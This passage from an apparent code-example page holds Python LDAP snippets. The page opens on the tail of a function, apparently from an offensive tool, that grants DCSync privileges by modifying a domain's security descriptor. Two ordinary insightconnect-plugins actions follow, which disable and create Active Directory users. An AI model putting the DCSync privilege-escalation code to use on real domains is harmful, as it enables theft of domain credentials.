entry['nTSecurityDescriptor'].raw_values[0] # Save this to restore the SD later on restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True state.push_history('add_domain_sync', restoredata) return True else: restoredata['success'] = False state.push_history('add_domain_sync', restoredata) raise ExploitException('Failed to add DCSync privs to %s: %s' % (userdn, str(ldapconnection.result)))
Example #21
Source File: action.py From insightconnect-plugins with MIT License | 4 votes |
def run(self, params={}): conn = self.connection.conn dn = params.get('distinguished_name') dn = ADUtils.dn_normalize(dn) temp_list = ADUtils.dn_escape_and_split(dn) dc_list = [s for s in temp_list if 'DC' in s] dc = ','.join(dc_list) escaped_dn = ','.join(temp_list) pairs = ADUtils.find_parentheses_pairs(escaped_dn) self.logger.info(pairs) # replace ( and ) when they are part of a name rather than a search parameter if pairs: for key, value in pairs.items(): tempstring = escaped_dn if tempstring.find('=', key, value) == -1: escaped_dn = escaped_dn[:value] + '\\29' + escaped_dn[value + 1:] escaped_dn = escaped_dn[:key] + '\\28' + escaped_dn[key + 1:] self.logger.info(escaped_dn) conn.search(search_base=dc, search_filter=f'(distinguishedName={escaped_dn})', attributes=['userAccountControl'] ) results = conn.response dn_test = [d['dn'] for d in results if 'dn' in d] try: dn_test[0] except Exception as ex: self.logger.error('The DN ' + escaped_dn + ' was not found') raise PluginException(cause="The DN was not found", assistance="The DN " + escaped_dn + " was not found") from ex user_list = [d['attributes'] for d in results if 'attributes' in d] user_control = user_list[0] try: account_status = user_control['userAccountControl'] except Exception as ex: self.logger.error('The DN ' + escaped_dn + ' is not a user') raise PluginException(cause="The DN is not a user", assistance="The DN " + escaped_dn + " is not a user") from ex user_account_flag = 2 account_status = account_status | user_account_flag conn.modify(escaped_dn, {'userAccountControl': [(MODIFY_REPLACE, [account_status])]}) result = conn.result output = result['description'] if result['result'] == 0: return {'success': True} self.logger.error('failed: error message %s' % output) return {'success': False}
Example #22
Source File: action.py From insightconnect-plugins with MIT License | 4 votes |
def run(self, params={}): conn = self.connection.conn ssl = self.connection.ssl domain_name = params.get('domain_name') first_name = params.get('first_name') last_name = params.get('last_name') logon_name = params.get('logon_name') user_ou = params.get('user_ou') account_disabled = params.get('account_disabled') password = params.get('password') additional_parameters = params.get('additional_parameters') user_principal_name = params.get('user_principal_name') if account_disabled == 'true': user_account_control = 514 else: user_account_control = 512 full_name = first_name + ' ' + last_name domain_dn = domain_name.replace('.', ',DC=') if user_ou == "Users": user_ou = user_ou.replace(',', ',CN=') else: user_ou = user_ou.replace(',', ',OU=') if user_ou == "Users": dn = 'CN={},CN={},DC={}'.format(full_name, user_ou, domain_dn) else: dn = 'CN={},OU={},DC={}'.format(full_name, user_ou, domain_dn) self.logger.info("User DN=" + dn) if ssl is False: self.logger.info('Warning SSL is not enabled. User password can not be set. User account will be disabled') parameters = {'givenName': first_name, 'sn': last_name, 'sAMAccountName': logon_name, 'userPassword': password, 'userPrincipalName': user_principal_name} parameters.update(additional_parameters) log_parameters = parameters log_parameters.pop("userPassword") self.logger.info(log_parameters) conn.add(dn, ['person', 'user'], parameters) pass_set = extend.ad_modify_password(conn, dn, password, None) change_uac_attribute = {'userAccountControl': (MODIFY_REPLACE, [user_account_control])} conn.modify(dn, change_uac_attribute) self.logger.info(conn.result) return {'success': pass_set}